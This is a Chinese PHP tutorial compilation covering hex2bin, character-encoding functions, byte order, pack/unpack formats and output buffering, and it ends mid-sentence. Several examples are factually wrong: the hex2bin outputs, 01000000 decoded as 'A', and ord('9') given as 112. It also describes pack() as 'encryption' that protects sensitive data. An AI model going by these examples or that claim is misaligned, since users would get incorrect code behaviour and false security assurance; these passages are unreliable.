转换十六进制字符串为二进制字符串,这个函数不是转换十六进制数字为二进制数字,这种转换可以使用base_convert()函数
data参数为十六进制表示的数据
返回给定数据的二进制表示,失败时返回FALSE
$hex = hex2bin("6578616d706c65206865782064617461");
var_dump($hex); // string(16) "example hex data"
var_dump(hex2bin("c")); // string '63' (length=2),c的ASCII码为63
var_dump(hex2bin("abc")); // string '616263' (length=6)
根据一个字符提取ascii表中的对应值获取字符二进制形式实现文件与16进制相互转换,例如把文件转为16进制后保存到数据库中,也可以把16进制数据转为文件保存
字符编码函数
【 mb_detect_order() 】 mixed mb_detect_order ([ mixed $encoding_list = mb_detect_order() ] ) 设置/获取字符编码的检测顺序 为编码列表encoding_list设置自动检测字符编码的顺序
【 mb_detect_encoding() 】 string mb_detect_encoding (string $str [,mixed $encoding_list = mb_detect_order() [,bool $strict = false ]]) 检测字符串str的编码,无法检测指定字符串的编码时返回FALSE 参数str为待检查的字符串。 参数encoding_list是一个字符编码列表,编码顺序可以由数组或者逗号分隔的列表字符串指定,默认使用detect_order() 参数strict指定了是否严格地检测编码,默认是FALSE
【 mb_internal_encoding() ]
mixed mb_internal_encoding ([ string $encoding = mb_internal_encoding() ] )
设置/获取内部字符编码
参数 :
encoding 字符编码名称使用于HTTP输入字符编码转换、HTTP输出字符编码转换、mbstring模块系列函数字符编码转换的默认编码。
返回值 :
如果设置了encoding成功时返回TRU,失败时返回FALSE。如果省略了encoding则返回当前的字符编码名称。
// 设置内部字符编码为UTF-8
mb_internal_encoding("UTF-8");
// 显示当前的内部字符编码
echo mb_internal_encoding();
【 mb_convert_variables() 】
mb_convert_variables($to_encoding ,$from_encoding ,&$vars [,mixed &$... ] )
转换一个或多个变量的字符编码,将变量vars的编码从from_encoding转换成编码to_encoding
该函数会拼接变量数组或对象中的字符串来检测编码,因为短字符串的检测往往会失败,因此不能在一个数组或对象中混合使用编码
to_encoding参数
将string转换成to_encoding编码。
from_encoding参数
可指定为一个array或逗号分隔的string,将尝试根据from-coding来检测编码。当省略了from_encoding将使用detect_order
vars参数
是要转换的变量的引用,参数可以接受String、Array和Object的类型,mb_convert_variables()假设所有的参数是同样的编码。
返回值 :
成功时返回转换前的字符编码,失败返回FALSE
// 转换变量 $post1、$post2 编码为内部(internal)编码
$interenc = mb_internal_encoding();
$inputenc = mb_convert_variables($interenc,"ASCII,UTF-8,SJIS-win",$post1,$post2);
【 mb_convert_encoding() 】
string mb_convert_encoding(string $str,string $to_encoding [,mixed $from_encoding = mb_internal_encoding() ] )
将string类型str的字符编码从可选的from_encoding转换到to_encoding
from_encoding参数
在转换前通过字符代码名称来指定,可以是一个array也可以是逗号分隔的枚举列表,如果没有提供from_encoding则会使用内部(internal)编码
mbstring模块支持以下的字符编码
UTF-8、ASCII、ISO-8859-1、ISO-8859-2、GB2312等等
【 iconv() 】
string iconv(string $in_charset ,string $out_charset ,string $str)
将字符串str从in_charset(输入的字符集)转换编码到out_charset(输出的字符集),返回转换后的字符串,失败返回FALSE
如果在out_charset后添加了字符串//TRANSLIT,将启用转写(transliteration)功能,即当一个字符不能被目标字符集所表示时可以通过一个或多个形似的字符来近似表达。
如果添加了字符串//IGNORE,不能以目标字符集表达的字符将被默默丢弃,否则会导致一个E_NOTICE并返回FALSE
iconv('utf-8','gbk//IGNORE',$data)
iconv("UTF-8","GB2312//IGNORE",$data) ;
iconv把utf-8编码数据转成gb2312,ignore的意思是忽略转换时的错误,如果没有ignore参数,所有该字符后面的字符串都无法被保存
mb_convert_encoding()和iconv的区别
1、mb_convert_encoding()函数会根据内容自动识别编码,但执行效率比iconv差;
2、iconv()在一些字符转换下会不正常,iconv在转换字符"—"到gb2312时会出错,如果没有ignore参数,所有该字符后面的字符串都无法被保存。不管怎么样,这个"—"都无法转换成功,无法输出,mb_convert_encoding没有这个bug
3、mb_convert_encoding()是PHP扩展函数,要开启扩展库才能用;而iconv是PHP内置函数,不需另外开启扩展库就可以使用。
4、一般情况下用iconv,只有当遇到无法确定原编码是何种编码,或者iconv转化后无法正常显示时才用mb_convert_encoding函数
PHP iconv模块包含了iconv字符集转换功能的接口。 使用此模块可以将一个本地字符集表达的字符串转换成另一种字符集,比如可以是Unicode字符集,支持的字符集基于系统上iconv的实现。 在某些系统上iconv函数可能无法以预期的那样工作,在这种情况下安装GNU libiconv函数库将会是个不错的主意,它最终将会产生更一致的结果。字符串编码未知的情况下对字符串进行编码: 转换失败时返回false
二进制文件和文本文件
一、文本文件和二进制文件的定义 计算机上所有文件存储在存储设备上都是二进制的,所以文本文件和二进制文件的区别并不是物理上的,而是逻辑上的! 文本文件是基于字符编码的文件,常见的编码有ASCII编码和UNICODE编码等,二进制是基于值编码的文件,可根据具体应用指定某个值是什么意思 文本文件基本上是基于字符、定长编码的,每个字符在具体编码中所占位数是固定的,如ASCII是8个比特的编码,UNICODE一般占16个比特。而二进制文件可看成是变长编码的,因为是值编码,多少个比特代表一个值完全由用户决定,BMP文件头部是固定长度的14字节的文件头,然后是40个字节的位图信息头,其编码是基于值的(不定长的,2、4、8字节长的值都有),所以BMP是二进制文件 二、文本文件和二进制文件的存取 用文本工具打开文件的过程如下,拿记事本来说,首先读取文件屋里上所对应的的二进制比特流(在实际存储中为二进制的),然后按照解码方式来解释这个流,将结果显示出来。比如所选解码方式为ASCII(每个字符8比特),接下来8个比特8个比特的去解释这个文件流,例如"01000000_01000001_10000010_01000011"(下划线是为增加可读性而加,实际中没有),第一个8比特"01000000"按ASCII码来解码的话对应字符"A",同理其他3个8比特分别解码为"BCD",即这个文件流可以解释为"ABCD",然后记事本就将这个"ABCD"显示在屏幕上 但是用记事本打开二进制文件,会用既定的字符编码工作(如ASCII码),所以当它打开二进制文件时出现乱码是很必然了!解码和译码不对,比如文件流"00000000_00000000_00000000_00000001"可能在二进制文件中对应的是一个四字节的整数int 1,在记事本里解释就变成了"NULL_NULL_NULL_SOH"这四个控制字符 也就是不管二进制文件还是文本文件在存储时都是一连串的0和1,但是打开方式不同,这些0和1的处理就不同,如果按文本方式打开,打开的时候就会进行translate,将每个字节转换成对应编码(ASCII、UNICODE等),而以二进制方式打开的话则不会进行任何translate,在编辑的时候文本最小单位为字节,而二进制文件最小单位则是位 三、文本文件和二进制文件的优缺点 文本文件编码基于字符定长,译码容易 二进制文件编码变长,所以灵活,存储利用率要高,译码难 四、C语言中文本读写和二进制读写 在WINDOWS操作系统上,C语言的文本读写和二进制读写的差别仅仅体现在回车换行符的处理上 文本方式写时每遇到一个"\n"(0AH换行符),它将其转换成"\r\n"(0D0AH,回车换行),然后再写入文件,当文本文件读取时它遇到一个"\r\n"将其反转换成"\n",然后送到读缓冲区 二进制读写时不存在任何转换,直接将写缓冲区中数据写入文件 从编程角度来说,C语言中文本或二进制读写都是缓冲区与文件中二进制流的交互,只是文本读写时有translate和回车换行的转换,所以当写缓冲区中无换行符时文本写和二进制写的结果是一样的,同理当文件中不存在换行符时,文本读和二进制读的结果一样
pack、unpack函数 一个字节是8位 https://segmentfault.com/a/1190000008305573
通过二进制数据包的方式通信,PHP提供了pack/unpack函数来进行二进制打包和二进制解包 网络通信、文件存储中经常需要交换数据,为了减少网络通信流量、文件存储大小以及加密通信规则,经常需要对数据进行双向加解密以保证数据的安全,PHP中实现此功能主要需要使用pack及unpack函数 字节序 就是字节的顺序,即多字节数据的存放顺序(一个字节显然不需要顺序)。 比如A和B分别对应的二进制表示为0100 0001、0100 0010。对于储存字符串AB,可以0100 0001 0100 0010,也可以0100 0010 0100 0001,这个顺序就是所谓的字节序 在不同的计算机体系结构中,对于数据(比特、字节、字)等的存储和传输机制有所不同,因而引发了计算机领域中一个潜在但是又很重要的问题,即通信双方交流的信息单元应该以什么样的顺序进行传送。如果达不成一致的规则,计算机的通信与存储将会无法进行。目前在各种体系的计算机中通常采用的字节存储机制,主要有两种: 大端(Big-endian)和小端(Little-endian)。这里所说的大端和小端即是字节序 MSB和LSB MSB是Most Significant Bit/Byte的首字母缩写,通常译为最重要的位或最重要的字节。它通常用来表示在一个bit序列(如一个byte是8个bit组成的一个序列)或一个byte序列(如word是两个byte组成的一个序列)中对整个序列取值影响最大的那个bit/byte。 LSB是Least Significant Bit/Byte的首字母缩写,通常译为最不重要的位或最不重要的字节。它通常用来表明在一个bit序列(如一个byte是8个bit组成的一个序列)或一个byte序列(如word是两个byte组成的一个序列)中对整个序列取值影响最小的那个bit/byte。 对于一个十六进制int类型整数0x12345678来说,0x12就是MSB,0x78就是LSB。而对于0x78这个字节而言,它的二进制是01111000,那么最左边的那个0就是MSB,最右边的那个0就是LSB。 高/低位字节 比如字符串AB,左高右低(正常的阅读顺序),A为高字节,B为低字节 高/低地址 假设0x123456是按从高位到底位的顺序储存,内存中是这样存放的: 高地址 -> 低地址 12 -> 34 -> 56 大端序字节序 大端序又叫网络字节序。大端序规定高位字节在存储时放在内存的低地址上,在传输时高位字节放在流的开始;低位字节在存储时放在高地址上,在传输时低位字节放在流的末尾。 网络传输中(如TCP/IP)低地址端(高位字节)放在流的开始,对于2个字节的字符串(AB),传输顺序为: A(0-7bit)、B(8-15bit) 小端序字节序 小端字节序自然和大端相反,小端序规定高位字节在存储时放在高地址上,在传输时高位字节放在流的末尾;低位字节在存储时放在低地址上,在传输时低位字节放在流的开始 网络字节序 网络字节序是指大端序。TCP/IP都是采用网络字节序的方式,java也是使用大端序方式存储。 主机字节序 主机字节序代表本机的字节序,一般是小端序 总结 字节序只针对于多字节类型的数据。比如对于int类型整数0x12345678,它占有4个字节的存储空间,存储方式有大端(0x12,0x34,0x56,0x78)和小端(0x78,0x56,0x34,0x12)两种。可以看到在大端或小端的存储方式中,是以字节为单位的。所以对于单字节类型的数据,不存在字节序这个说法。 【 pack() 】 string pack ( string $format [,mixed $args [,mixed $... ]] ) 根据format将数据$args打包成二进制字符串,即把数据装入一个二进制字符串,返回包含数据的二进制字符串 pack函数用于将其它进制的数字压缩到位字符串之中,即把其它进制数字转化为ASCII码字符串 这个函数的思想来自Perl,所有格式化代码(format)的工作原理都与Perl相同,但缺少了部分格式代码,比如Perl的"u" 有符号值和无符号值之间的区别只影响函数unpack(),在那些使用有符号和无符号格式代码的地方pack()函数产生相同的结果 参数format字符串由格式代码组成,后面跟着一个可选的重复参数,重复参数可以是一个整数值或*值,用于指定该格式的个数 对于a,A,h,H格式化代码,其后的重复参数指定了给定数据将会被使用几个字符串 对于@,其后的数字表示放置剩余数据的绝对定位(之前的数据将会被空字符串填充) 对于其他所有内容,重复数量指定消耗多少数据并将其打包到生成的二进制字符串中 $args的个数取决于格式中字母的个数,比如'a12a13'就需要两个字符串,分别是12位和13位,位数不足以nul填充 如果是单个字母不跟数字 则为一位类型的字符 如果是单个字母跟上 * 则为该类型任意长度的字符 如果提供的参数比$format要求的少,pack假设缺的都是空值。如果提供的参数比$format要求的多,那么多余的参数被忽略 'a'需要一个一位的字符串 'a12'需要一个12位的字符串,位数不足以nul填充 'h'需要一个一位的字符串,位数不足以0填充,低位在前,即在前面添加0 参数format规定包装数据时使用的格式 a 将字符串空白以NULL字符填满 - NUL-padded string A 将字符串空白以SPACE字符(空格)填满 - SPACE-padded string h 十六进制字符串,低位在前 - Hex string,low nibble first H 十六进制字符串,高位在前 - Hex string,high nibble first c 有符号字符 - signed char C 无符号字符 - unsigned char s 有符号短整型(16位,主机字节序) - signed short (always 16 bit,machine byte order) S 无符号短整型(16位,主机字节序) - unsigned short (always 16 bit,machine byte order) n 无符号短整型(16位,大端字节序) - unsigned short (always 16 bit,big endian byte order) v 无符号短整型(16位,小端字节序) - unsigned short (always 16 bit,little endian byte order) i 有符号整型(机器相关大小字节序) - signed integer (machine dependent size and byte order) I 无符号整型(机器相关大小字节序) - unsigned integer (machine dependent size and byte order) l 有符号长整型(32位,主机字节序) - signed long (always 32 bit,machine byte order) L 无符号长整型(32位,主机字节序) - unsigned long (always 32 bit,machine byte order) N 无符号长整型(32位,大端字节序) - unsigned long (always 32 bit,big endian byte order) V 无符号长整型(32位,小端字节序) - unsigned long (always 32 bit,little endian byte order) q 有符号长长整型(64位,主机字节序) Q 无符号长长整型(64位,主机字节序) J 无符号长长整型(64位,大端字节序) P 无符号长长整型(64位,小端字节序) f 单精度浮点型(机器相关大小) - float (machine dependent size and representation) g 单精度浮点型(机器相关大小,小端字节序) G 单精度浮点型(机器相关大小,大端字节序) d 双精度浮点型(机器相关大小) - double (machine dependent size and representation) e 双精度浮点型(机器相关大小,小端字节序) E 双精度浮点型(机器相关大小,大端字节序) x NUL字节,空位 - NUL byte X 回退一字节 - Back up one byte Z 以NUL字节填充字符串空白 @ NUL填充到绝对位置 - NUL-fill to absolute position
【 a和A 】 a和A都是用来打包字符串的,唯一区别就是当小于定长时的填充方式。a以NULL填充,NULL事实上是'\0'的表示,代表空字节,8个位上全是0。A以空格填充,空格也即ASCII码为32的字符 关于填充的使用场景的例子: 请求登录的数据包规定用户名不超过20个字节,密码经过md5加密后是固定的32个字节。用户名就是变长的,为了便于服务器端读取和处理,通常会填充成定长。当然这只是使用的方式之一,事实上还可以用变长的方式传递数据包。 字符串有一点麻烦的是编码问题,尤其是在跟不同的平台通信时更为突出。比如在用pack进行打包 字符串时,事实上是将字符内部的编码打包进去。单字节字符就没有问题,因为单字节在所有平台上都是一致的
$bin是返回的二进制字符,可以直接输出它,PHP知道如何处理。 通过bin2hex方法将$bin转换成十六进制,十六进制0x64表示的是字符d。对于中文字符(多字节字符)来说,通常有GBK编码、BIG5编码及UTF8编码等。GBK编码中一个中文字符采用2个字节来表示,UTF8编码中一个中文字符采用3个字节来表示。这通常需要协商采用统一的编码,否则会由于内部的表示不一致导致无法处理。在PHP中只要将文件保存为特定的编码格即可,其它语言可能跟操作系统相关,因此或许需要编码转换。 以下例子一概基于UTF8编码
后面2个输出是一样的。ASCII码表示单字节字符(其中包括英文字母、数字、英文标点符号、不可见字符以及控制字符等等),它总是小于0x80,即小于十进制的128。当在处理字符时,如果字节小于0x80,则把它当作单字节来处理,否则会继续读取下一个字节,这通常跟编码有关,GBK会将2个字节当成一个字符来处理,UTF8则需要3个字节。有时候在PHP中需要做类似的处理,比如计算字符串中字符的个数(字符串可能包含单字节和多字节),strlen方法只能计算字节数,而mb_strlen需要开启扩展。类似这样的需求,其实很容易处理:查看字符串中字符数,利用单字节字符的ASCII码小于0x80,跳过几个字节要看具体是什么编码多字节长度检测
【 H和h 】
h和H都是读取十进制,以十六进制方式读取,以半字节(4位)为单位,十六进制的一位相当于二进制的四位,2^4=16
h和H是以半字节为单位,h2和H2则表示一次读取8位,同理h3和H3可以推导出来,但是别忘了补足8位组成一个字节
01010000 120 80 50 P
var_dump(pack("H",0x5)); // string 'P' (length=1)
var_dump(0x5); // int 5
var_dump(pack("H",5)); // string 'P' (length=1)
echo chr(0x50); // P
首先是读取十进制的5,H是以半字节为单位一次读取4位,且以十六进制方式读取,为补足8位同时满足高位在前需要在在5后面补0变成0x50,0x50正好是字符P的ASCII码
h和H行为的差别在于h是低位在前,H是高位在前
$bin = pack("h",0x5);
var_dump($bin); // string '' (length=1)
var_dump(ord($bin)); // int 5
读取十进制的5,h是低位在前就需要前面补零变成0x05,由于0x05是不可见字符,所以上面的字符输出是空的。
var_dump(pack("H",0x47)); // string 'p' (length=1)
var_dump(pack("h",0x47)); // string '' (length=1)
0x47为十进制的71,因为读取半个字节,所以变成0x7,后面补0变成0x70,则刚好是字符p的ASCII码。如果换成是h格式化,则最终的结果是0x07,因为低位在前。
对于一次读取多个字节也以同样的规则:
var_dump(pack("H2h2",0x47,0x56)); // string 'qh' (length=2)
0x47是十进制的71,由于使用H2格式化,所以一次读取8位,最后变成十六进制的0x71,即字符q的ASCII码。0x56是十进制的86,由于使用h2格式化,所以一次读取8位,最后变成十六进制的0x86,但是由于h表示低位在前,因此0x86变成0x68,即字符h的ASCII码。
$string = pack('H3',281);
var_dump($string); // string(2) "("
for($i=0;$i < strlen($string);$i++) {
echo ord($string[$i]) . PHP_EOL; // 40 16
}
h和H是将对应的参数看做十六进制字符然后打包。比如上面的281打包前会将281转换为0x281,因为十六进制的一位对应二进制的四位,上面的0x281只有1.5个字节,后面会默认补0变成0x2810,0x28对应的十进制为40((),0x10对应的十进制为16(dle不可见字符)
// 输入16进制或者2进制流
var_dump(pack('H*',"3B06")); // ';' (length=2)
var_dump(chr(0x3B).chr(0x06)); // ';' (length=2)
在数据量很小的时候后面的做法,更为简便。但是大量数据的时候,前一种做法则更为实际工整些,代码量也很少
最后输出本能应该觉得是67 68 -1 ord获取的是字符的ASCII码(十进制范围0-255),这时-1(0000 0001)对应的字符将以补码的形式输出也就是255(1111 1110 + 0000 0001 = 1111 1111) 【 整型相关 】 所有的整型类型使用方法完全一样,主要注意它们的位和字节序就可以了,下面以L作为例子展示
【 f和d 】
$string = pack('f',12345.123);
var_dump($string); //输出:string(4) "~�@F"
var_dump(unpack('f',$string)); //输出:float(12345.123046875)
f和d是针对浮点数打包,至于为什么打包前是12345.123解包后是12345.123046875,这个和浮点数的储存有关系,后面可以单开一个文章讲解一下IEEE标准
【 S和s 】
s为有符号短整数;S为无符号短整数。它们都为主机字节序,并且为16位。通常为主机字节序的格式化字符,一般只用于单机的操作,因为您 无法确定主机字节序究竟是大端还是小端。当然,您一定要这么干的话,也是有办法来获取本机字节序是属于大端或小端,但那样是没有必要的。稍后就会给出一个 通过PHP来判断字节序的例子。
【 x、X、Z、@ 】
n和v除了明确指定了字节序,其它行为跟s和S是一样的。 i和I依赖于机器大小及字节序,很少用 l、L、N、V跟s、S、n、v类似,除了表示的大小不同,前者都为32位,后者都为16位。 f、d是因为float和double与CPU无关。一般来说,编译器是按照IEEE标准解释的,即把float/double看作4/8个字符的数组进行解释。因此,只要编译器是支持IEEE浮点标准的,就不需要考虑字节顺序。 剩下的x、X和@用得比较少 【 unpack() 】 array unpack ( string $format ,string $data [,int $offset = 0 ] ) Unpack data from binary string,从二进制字符串对数据进行解包 Unpacks from a binary string into an associative array according to the given format 第一个也是格式串,单个字母或者多个字母类型的必须使用 (多个字母 \ 不能省略) 格式名称 \ 格式名称 组成索引数组(好像是从1开始) 或者 格式名称字段名称 \ 格式名称字段名称 组成键值数组判断大小端
【 网络通信 】 比如现在要通过PHP发送数据包到服务器来登录。在仅需要提供用户名(最多30个字节)和密码(md5之后固定为32字节)的情况下,可以构造如下数据包(当然这事先需要跟服务器协商好数据包的规范,本例以网络字节序通信): 包结构: 字段 字节数 说明 包头 定长 每一个通信消息必须包含的内容 包体 不定长 根据每个通信消息的不同产生变化 其中包头详细内容如下: 字段 字节数 类型 说明 pkg_len 2 ushort 整个包的长度,不超过4K version 1 uchar 通讯协议版本号 command_id 2 ushort 消息命令ID result 2 short 请求时不起作用;请求返回时使用 当然实际中可能会涉及到各种校验。本文为了简单,只是列举一下通常的工作流程及处理的方式。 登录(执行命储1001) 字段 字节数 类型 说明 用户名 30 uchar[30] 登录用户名 密码 32 uchar[32] 登录密码 包头是定长的,通过计算可知包头占7个字节,并且包头在包体之前。比如用户陈一回需要登录,密码是123456,则代码如下:
服务器端通过读取定长包头,拿到包体长度,再读取并解析包体。大致的过程就是这样。当然服务器端也会返回响应包,客户端做相应的读取处理
【 pack unpack函数使用场景 】
1.数据通信(通过二进制格式与其它语言通信)
2.数据加密(如果不告诉第三方你的打包方式,对方解包的难度就相对很大)
3.节省空间(比如比较大的数字按字符串储存会浪费很多空间,打包成二进制格式才需要4位(32位数字))
pack实现缩减文件数据存储大小
file_put_contents("test.txt",1234567890); //存储整数1234567890
此时test.txt的文件大小是10byte。注意此时文件大小是10字节,实际占用空间大小是1KB。
上面存储的整数实际是以字符串形式存储于文件test.txt中。
但如果以整数的二进制字符串存jy储,将会缩减至4byte。
print_r(unpack("i",file_get_contents("test.txt")));
数据加密
以字符串形式存储一段有意义数据,7-110-abcdefg-117。
字符"-"分割后,第一位表示字符串长度,第二位表示存储位置,第三位表示实际存储的字符串,第四位表示结尾位置。
file_put_contents("test.txt","7-110-abcdefg-117");
上述方法缺点:
一、数据存储大小
二、数据以明文方式存储,如果是任何敏感信息,都可能造成不安全访问。
三、文件存储大小,以不规则方式递增。
加密:
file_put_contents("test.txt",pack("i2a7i1",7,110,"abcdefg",117));
存储一段数据,加密格式为: 整数2位长度字符串10位长度整数1位长度。
优点:
一、数据大小最优化
二、在不知道"i2a7i1"这样的压缩格式时,即使拿到文件,也无法正确读出二进制文件转化为明文。
三、数据增加时,文件存储大小是等量递增。每次都是以19byte递增。
案例三、key-value型文件存储
存储生成的文件为两个: 索引文件,数据文件
文件中数据存储的格式如下图:
socket通信加密 通信双方都定义好加密格式:
上面通过截取包,发现里面的内容是一样的,都是传输的字符串test 123。如果把pack的打包改成h,就会使显示发送的是16进制表示的数,都是对应的字符串的十六进制数的高地位相反,47 67...,这样的序列构不成正确的http协议传输的ascii吗值所以显示为十六进制的表示形式,传递的还是二进制数。上面的字符串只是把二进制数表示为字符串了。 pack h 的意思是把后面的当16进制字符串,传入整形12与字符串12是一样的。要求传入一个16进制内的字符。 为了避免混淆,把"test 123"这样的字符串定义为表示型二进制字符串。 test123 对应的"10101010101010101010"这样的字符串定义为存储型二进制字符串,要注意的是存储的肯定是二进制,而不是字符串! 上面的可以看做是表示型二进制字符串"t",它的存储型字符串是"10010110",它的二进制值是11010110。 所以http里只有二进制传输! 下面就是传输二进制的伪代码,其实底层传输的是其对应的存储层。
unpack与ord类似,得到表示型字符串的底层二进制值,拿到二进制值会后可以通过base_convert转化为存储型二进制字符串。
unpack('H*','9') 的过程是先得到'9'的底层存储值ord('9')=112,然后按H的形式返回(又从二进制值变成表示型字符串),所以还要把进行dechex(112)=39;最后得到字符串'9'的H表示为'39',返回array(1=>"39")。
即得到表示型字符'9'的底层二进制值的H表示值"39"。上例的伪传输二级制又通过base_convert把H表示的字符串转化为B表示的字符串"00111001"
pack与chr类似,不过更高级,可以打包表示型字符串得到存储值,存储值其实就是二进制,他不是字符串~
strlen(base_convert("00111001",2,16)) = strlen("39") = 2
pack("H2","39")是把H表示型字符串"39"打包成一个H格式的值及0x39 = 112 = 表示型字符"9"
简单的将,unpack拆包,得到存储值(或者直接拿pack打包后的结果,其实也是存储值),然后通过fomat来从重新包装表示。给一个pack打包的长串,根据fomat拆包为多个字段的表示。
pack组装,就是把给他的东西,按照fomat来转化为存储值。给多个就把存储值组装到一起!
存储值就是二进制数,在php手册里面叫binary string ,极其容易跟存储型表示的二进制字符串弄混~
PHP中ob系列函数(浏览器缓存技术)
ob是output buffering(输出缓冲区)的简称,而不是output cache
ob用对了能对速度有一定的帮助,但盲目的加上ob函数只会增加CPU额外的负担
ob的基本原则: 如果ob缓存打开则echo的数据首先放在ob缓存,如果是header信息直接放在程序缓存。当页面执行到最后会把ob缓存的数据放到程序缓存,然后依次返回给浏览器。
ob的基本作用:
1)防止在浏览器有输出之后再使用setcookie()、header()或session_start()等发送头文件的函数造成的错误,要少用,养成良好的代码习惯。
2)捕捉对一些不可获取的函数的输出,比如phpinfo()会输出一大堆的HTML,但是无法用一个变量如$info=phpinfo()来捕捉,这时ob就管用了。
3)对输出的内容进行处理,例如进行gzip压缩,例如进行简繁转换,例如进行一些字符串替换。
4)生成静态文件,其实就是捕捉整页的输出,然后存成文件,经常在生成HTML或整页缓存中使用
ob函数可以自由控制脚本中数据的输出,特别是在数据已经输出后再输出文件头的情况
输出控制函数不对使用header()或setcookie()或session,发送的文件头信息产生影响,只对那些类似于echo()和PHP代码的数据块有作用
cache的结构使得它的内容只有达到约256字符才能从浏览器里输出,如果cache的内容不达到一定的大小,它是不会在程序执行完毕前输出的
【 ob函数设置 】
这些函数的行为受php_ini设置的影响:
1、output_buffering
该值为ON时将在所有脚本中使用输出控制;若该值为一个数字则代表缓冲区的最大字节限制,当缓存内容达到该上限时将会自动向浏览器输出当前的缓冲区里的内容。
一些Web服务器的output_buffering默认是4069字符或更大,即输出内容必须达到4069字符服务器才会flush刷新输出缓冲,为了确保flush有效,最好在ob_flush()函数前有以下语句:
print str_repeat("",4096); //以确保到达output_buffering值
2、output_handler
该选项可将脚本所有的输出重定向到一个函数,例如将output_handler设置为mb_output_handler()时,字符的编码将被修改为指定的编码。设置的任何处理函数将自动的处理输出缓冲。
3、implicit_flush
作用同ob_implicit_flush,默认为Off。
ob_gzhandler
ob_start回调函数,用gzip压缩缓冲区的内容
ob_get_level();
Return the nesting level of the output buffering mechanism.
ob_get_status();
Get status of output buffers.
ob_list_handlers
List all output handlers in use
output_add_rewrite_var
Add URL rewriter values
output_reset_rewrite_vars
Reset URL rewriter values
【 ob函数 】
ob_*系列函数是操作PHP本身的输出缓冲区,所以ob_flush只刷新PHP自身的缓冲区,而flush是刷新apache的缓冲区,所以正确使用俩者的顺序是先ob_flush然后flush。ob_flush是把数据从PHP的缓冲中释放出来,flush是把缓冲内/外的数据全部发送到浏览器。
ob_flush();
发送内部缓冲区的内容到浏览器,删除缓冲区的内容,不关闭缓冲区。
flush();
将ob_flush释放出来的内容及不在PHP缓冲区中的内容全部输出至浏览器;刷新内部缓冲区的内容并输出
这个函数经常使用,效率很高。常用功能是刷新browser的cache
ob_end_flush(void): void
发送内部缓冲区的内容到浏览器,删除缓冲区的内容,关闭输出缓冲区,这个函数发送输出缓冲区的内容(如果有的话)
ob_get_flush();
返回内部缓冲区的内容,并关闭缓冲区,再释放缓冲区的内容。相当于ob_end_flush()并返回缓冲区内容。
ob_implicit_flush ([int flag]): void
打开或关闭绝对刷新,默认为关闭,在程序的首部加入ob_implicit_flush()打开绝对刷新,打开后ob_implicit_flush(true),所谓绝对刷新即当有输出语句(e.g: echo)被执行时便把输出直接发送到浏览器,而不再需要调用flush()或等到脚本结束时才输出
ob_start(void): void
打开一个输出缓冲区,把数据输出到缓冲区,所以在任何时候使用echo,输出都将被加入缓冲区中,所有来自PHP程序的非文件头信息不再直接发送到浏览器,而是保存在输出缓冲区里面,直到程序运行结束或使用flush()或ob_end_flush()来结束,然后在服务器中缓冲区的内容才会发送到浏览器,由浏览器来解析显示
使用ob_start之前不能有任何输出,如空格、字符等
header()使用前不能有任何输出,但加上ob_start()就不会提示错误,原因是当打开了缓冲区echo后面的字符不会输出到浏览器而是保留在服务器,直到使用flush或ob_end_flush才会输出,所以不会有任何文件头输出的错误
ob_get_contents(void): string
以字符串形式返回当前内部缓冲区中的内容,不输出,如果输出缓冲区没有激活则返回FALSE,可以控制输出方式,如写入文件等
ob_get_length(void): int
返回内部缓冲区的长度。这个函数会返回当前缓冲区中的长度;和ob_get_contents一样,如果输出缓冲区没有激活则返回FALSE
ob_clean();
删除内部缓冲区的内容,不关闭缓冲区,不输出
ob_end_clean(void): void
删除内部缓冲区的内容,并且关闭内部缓冲区,但不输出内容,成功则返回True,失败则返回False
如果想暂时保持输出内容,用ob_get_contents在ob_end_clean()前面来获得缓冲区的内容。这样的话能将在执行ob_end_clean()前把内容保存到一个变量中,然后在ob_end_clean()后面对这个变量做操作
ob_get_clean();
返回内部缓冲区的内容,关闭缓冲区,相当于执行ob_get_contents() and ob_end_clean()
【 ob函数应用场景 】
➤ 使header()函数前可以有echo代码 】
Output Control函数可以自由控制脚本中数据的输出,非常有用,特别是对于想在数据已经输出后再输出文件头的情况。
输出控制函数不对使用header()或setcookie()或session_start()、发送的文件头信息产生影响,只对那些类似于echo()和PHP代码的数据块有作用。
不要误认为用了ob_start()后,脚本的echo/print等输出就永远不会显示在浏览器上了,因为PHP脚本运行结束后会自动刷新缓冲区并输出内容
ob_start(); //打开缓冲区
echo "Hello\n"; //输出
header("location:index.php"); //把浏览器重定向到index.php
ob_end_flush(); //输出全部内容到浏览器
$str = ob_get_contents(); //捕获缓存的内容
var_dump($str);
header()函数会发送一段文件头给浏览器,但是如果在使用这个函数之前已经有了任何输出(包括空输出,比如空格,回车和换行)就会提示出错。如果去掉第一行的ob_start()再执行此程序,会得到一条错误提示: "Header had all ready send by"!但是加上ob_start就不会提示出错,原因是当打开了缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到使用flush或ob_end_flush才会输出,所以并不会有任何文件头输出的错误
➤ 静态模版技术和模板引擎
随着网站的内容的增多和用户访问量的增多,网站加载会越来越慢,受限于带宽和服务器同一时间的请求次数的限制,往往需要对网站进行代码优化和服务器配置的优化。
一般情况下会从以下方面来做优化
动态页面静态化
优化数据库
使用负载均衡
使用缓存
使用CDN加速
页面静态化分为两种,一种是伪静态即利用Apache mod_rewrite实现URL重写的方法,一种是真静态化
HTML静态化的好处:
一、减轻服务器负担,浏览网页无需调用系统数据库。
二、有利于搜索引擎优化SEO,Baidu、Google都会优先收录静态页面,不仅被收录的快还收录的全;
三、加快页面打开速度访问速度,静态页面无需连接数据库打开速度较动态页面有明显提高;
四、网站更安全,HTML页面不会受php程序相关漏洞的影响,可以减少攻击,防sql注入
五、数据库出错时不影响网站的正常访问。
PHP生成静态HTML页面有多种方法,如利用PHP模板、缓存等实现页面静态化,原理基本一致: 利用PHP进行文件操作,替换html模板中的动态元素
PHP早期开发中通常是PHP代码和HTML代码混写,这也使代码中充斥着数据库操作,逻辑处理等。当项目不大时,这样的代码还可以接受,但是随着项目不断扩大就会发现同一个文件中同时存在前端逻辑和后端处理,当逻辑越来越复杂时,代码的可读性和可维护性都会变得非常差,以至于后来不得不进行大规模的代码重构。所以后来就出现了代码分层的思想,尽量拆分开前端代码和后端代码
PHP模板引擎能解决这种混乱,但即使不用专门的模板引擎也可以写出逻辑清晰的代码,重点是要有分层的思想,有专门的脚本去进行数据获取、数据处理、逻辑处理等,在展示页面只进行尽可能简单的逻辑处理即可。既然这样,那还有使用PHP模板引擎的必要吗?毫无疑问当然有,因为模板引擎的功能不仅于此
PHP模板引擎的主要作用:
